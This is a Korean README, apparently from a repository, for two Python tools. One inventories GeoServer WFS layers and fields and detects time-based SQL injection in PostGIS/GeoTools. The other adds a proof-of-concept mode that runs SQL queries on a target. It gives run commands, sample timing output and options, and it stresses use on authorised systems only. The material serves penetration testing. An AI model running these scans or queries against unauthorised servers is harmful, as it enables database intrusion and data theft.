
Python 스크립트로 GeoServer WFS 엔드포인트를 인벤토리화하고 PostGIS/GeoTools의 시간 기반 SQL 인젝션 취약점을 검증하며, 승인된 테스트를 위한 전용 PoC 모드를 제공합니다.
이 저장소는 GeoServer WFS 엔드포인트를 조사하기 위한 두 개의 Python 스크립트를 포함합니다.
wfs_inventory.py목적: 레이어, XSD 필드 및 WFS 값을 인벤토리화하고, 선택적으로 시간 기반 검사를 통해 후보를 검증합니다.
실행 예시:
python3 wfs_inventory.py --url https://HOST --valid-fields 4
python3 wfs_inventory.py --url https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5 --candidate-scope auto --timing-result-type auto
python3 wfs_inventory.py --url https://HOST --layer namespace:layer --sleep 1 --confirm-sleep 5 --valid-diagnose output.txt
geoserver_sqli_working.py목적: 인벤토리 기능과 별도의 PoC 모드를 결합한 진입점입니다.
실행 예시:
python3 geoserver_sqli_working.py --target https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5 --query "SELECT current_database()"
중요 참고 사항: 시간 기반 검사와 PoC 모드는 명시적인 테스트 승인이 있는 시스템에만 사용해야 합니다. 일반 인벤토리 모드는 정규 WFS 작업만 사용합니다.
선택적으로 실행 권한 부여:
chmod +x wfs_inventory.py geoserver_sqli_working.py
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4
기본 경로 /geoserver/wfs가 자동으로 추가됩니다. 따라서 다음 지정은 동일합니다:
https://HOST
https://HOST/geoserver
https://HOST/geoserver/wfs
다른 설치의 경우 전체 WFS 경로를 지정해야 합니다.
명시적으로 인가된 시스템에만 해당:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--sleep 1
검사 중 각 후보에 대한 측정값이 stderr에 표시됩니다:
[sleep-check] phase=screen typeName=namespace:layer field_name=FIELD resultType=hits baseline=0.120s test=1.128s delta=1.008s passed=true
[sleep-check] phase=confirm typeName=namespace:layer field_name=FIELD resultType=hits requested=3s baseline=0.118s test=3.125s delta=3.007s vulnerable=true
스크린 통과는 아직 긍정적 결과가 아닙니다. 두 번째로 더 긴 측정도 통과해야만 매개변수 블록이 출력됩니다.
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--sleep 1 \
--valid-diagnose output.txt
--valid-diagnose FILE은 자동으로 상세 진단을 활성화하고 지정된 파일에 기록합니다.
기본 모드 auto는 WFS 정보를 다음 순서로 처리합니다:
GetCapabilities가 한 번 열립니다:
/geoserver/wfs?service=WFS&acceptVersions=2.0.0&request=GetCapabilities
XML 응답이 스트리밍됩니다. FeatureType/Name이 발견되면 다음 typeName이 결정됩니다.
이 레이어에 대해 즉시 DescribeFeatureType이 version=2.0.0으로 실행됩니다.
스크립트는 XSD 요소를 추출하고 ID 또는 숫자 유사 이름을 가진 문자열/JSON 필드를 선택합니다.
후보는 호출 방식에 따라 검사됩니다:
--sleep 없음: 샘플 값이 구문적으로 유효한 JSON이어야 합니다.--sleep N 포함: 제어 요청과 시간 기반 검사 요청이 측정됩니다. JSON 값 검사는 건너뜁니다.결과가 즉시 출력되고 플러시됩니다.
그 후에만 실행 중인 GetCapabilities 응답에서 다음 typeName이 읽힙니다.
따라서 첫 번째 결과가 나타나기 전에 큰 GetCapabilities 응답을 완전히 처리할 필요가 없습니다.
--sleep 없이 자동 모드는 기본적으로 ID 또는 숫자 유사 이름을 가진 문자열/JSON 필드를 고려합니다.
반면 --sleep 사용 시 --candidate-scope auto는 모든 단순 비지오메트리 필드를 사용합니다. XSD 유형과 ID 이름 패턴은 더 이상 타이밍 검사를 차단하지 않습니다. 이는 숫자, 날짜/부울 또는 공급업체별 XSD 유형에서 오탐(false negative)을 방지합니다.
인식된 이름 패턴은 다음과 같습니다:
id
*_id
*_fid
nr_*
*_nr
*nummer*
fid
uuid
guid
key
objectid
시간 기반 검사에서 필드 이름은 추가로 [A-Za-z_][A-Za-z0-9_]* 형식의 단순 식별자여야 합니다.
--sleep 없이 관찰된 값이 구문적으로 JSON으로 해석될 수 있는지 확인합니다. 따라서 예를 들어 문자열 "383205"도 내용이 유효한 JSON 숫자이므로 후보로 간주됩니다. 이 검사는 휴리스틱이며 취약점 증명이 아닙니다.
--sleep 1 사용 시 시간 측정만 결정합니다. 후보는 검사 요청이 제어 요청보다 요청된 sleep 시간의 최소 70%를 추가로 필요로 하는 경우 기본적으로 양성으로 간주됩니다. --timing-result-type auto는 먼저 resultType=hits를 확인하고 음성 결과가 나오면 resultType=results를 확인합니다.
잠정적으로 양성인 측정값은 반드시 더 긴 sleep 시간으로 확인됩니다. 명시적 --confirm-sleep이 없으면 스크립트는 max(3, --sleep * 3)을 사용하며 최대 10초로 제한됩니다. 따라서 --sleep 1에서 단일 대기 시간 급증이 더 이상 vulnerable=true로 이어지지 않습니다.
표준 출력에는 유효한 레이어당 하나의 블록이 포함됩니다:
typeName=namespace:layer
field_name1=FIELD_A
parameter_string1=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_A
field_name2=FIELD_B
parameter_string2=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_B
parameter_stringN은 정규화된 WFS 엔드포인트와 --typename 및 --field_name에 대한 적절한 값을 포함합니다.
--valid-fields N은 개별 필드가 아닌 레이어 블록을 계산합니다. N개 미만의 유효한 레이어가 존재하면 나머지 카탈로그가 계속 조사됩니다. --max-layers로 최대 실행 시간을 제한할 수 있습니다.
--diagnose 또는 --valid-diagnose FILE 옵션은 다음을 추가로 제공합니다:
GetCapabilities URL,DescribeFeatureType URL,GetFeature URL 및예시:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 10 \
--valid-diagnose diagnose.txt
python3 wfs_inventory.py \
--url https://HOST \
--mode layers
네임스페이스로 제한:
python3 wfs_inventory.py \
--url https://HOST \
--mode layers \
--namespace fink
python3 wfs_inventory.py \
--url https://HOST \
--mode fields \
--layer namespace:layer
각 필드는 이름, XSD 유형, nillable, id_candidate 및 usable_property가 포함된 JSON 객체로 출력됩니다.
python3 wfs_inventory.py \
--url https://HOST \
--mode values \
--layer namespace:layer \
--field FIELD_A \
--field FIELD_B \
--max-features 100 \
--format jsonl \
--output values.jsonl
모든 속성 내보내기:
python3 wfs_inventory.py \
--url https://HOST \
--mode values \
--layer namespace:layer \
--all-properties \
--max-features 100
--unique를 사용하면 선택된 필드 값의 동일한 조합이 한 번만 출력됩니다.
wfs_inventory.py 매개변수| 매개변수 | 기본값 | 설명 |
|---|---|---|
--url URL | 필수 | 호스트, GeoServer 기본 또는 전체 WFS 엔드포인트 |
--mode auto|layers|fields|values | auto | 실행할 운영 모드 |
--layer NAMESPACE:LAYER | – | 자동 모드를 하나의 피처 타입으로 제한; fields 및 values에 필수 |
--namespace PREFIX | – | 이 네임스페이스 접두사의 레이어만 고려 |
--capabilities-file FILE | – | 다운로드 대신 로컬 GetCapabilities 응답 사용 |
--field NAME | 반복 가능 | values 모드에서 내보낼 속성 |
--all-properties | 꺼짐 | values 모드에서 모든 속성 내보내기 |
--unique | 꺼짐 | 중복 필드 값 조합 억제 |
--page-size N | 500 | GetFeature 페이지당 피처 수; 범위 1~5000 |
--sample-size N | 5 | JSON 구문 검사를 위한 레이어당 샘플 값 수; 범위 1~100 |
--sleep SECONDS | 0 | 시간 기반 검증 활성화; 0 또는 1~10초 허용 |
--candidate-scope auto|id|all | auto | 후보 선택; auto는 sleep 없이 ID 필드를, sleep 사용 시 모든 비지오메트리 필드를 사용 |
--timing-result-type auto|hits|results | auto | 타이밍 검사의 쿼리 경로; auto는 hits를 시도한 후 results를 시도 |
--sleep-threshold RATIO | 0.7 | 필요한 sleep 시간 비율; 범위 0.5~1.0 |
--confirm-sleep SECONDS | 0/자동 | 확인 sleep; 0은 첫 번째 sleep 시간의 최소 3배 사용, 범위 1~10 |
--start-layer-index N | 0 | 처음 N개의 스트리밍된 레이어 건너뛰기 |
--max-layers N | 0 | 최대 N개 레이어 처리; 0은 무제한 |
--valid-fields N | 0 | N개의 유효한 레이어 블록 후 중지; 0은 무제한 |
--valid N | 별칭 | --valid-fields의 하위 호환 별칭 |
--max-features N | 0 | values 모드에서 N개 피처 후 중지; 0은 무제한 |
--format jsonl|csv|text | jsonl | values 모드의 출력 형식 |
--output FILE | stdout | 보고서 또는 값을 파일에 쓰기 |
--report-format blocks|jsonl | blocks | 자동 보고서 형식 |
--diagnose | 꺼짐 | URL, 유형, 선택 플래그 및 검사 통계 추가 |
--valid-diagnose FILE | – | 진단 활성화 및 FILE에 직접 쓰기 |
--delay SECONDS | 0.1 | 결과/검사 단계 사이의 일시 중지 |
--timeout SECONDS | 30 | HTTP 요청당 타임아웃 |
--retries N | 2 | 타임아웃 또는 네트워크 오류 후 재시도; 범위 0~10 |
--proxy URL | – | HTTP(S) 프록시, 예: http://127.0.0.1:8080 |
--proxy-ca FILE | – | 프록시 인증서를 신뢰하기 위한 PEM CA 인증서 |
--insecure | 꺼짐 | TLS 인증서 검사 비활성화 |
--authorization TEXT | I_AM_AUTHORIZED | 보안 확인; 정확히 I_AM_AUTHORIZED여야 함 |
geoserver_sqli_working.py는 인벤토리 기능을 직접 호출할 수 있습니다. --valid-fields가 지정되면 인벤토리만 실행되고 프로그램이 종료됩니다.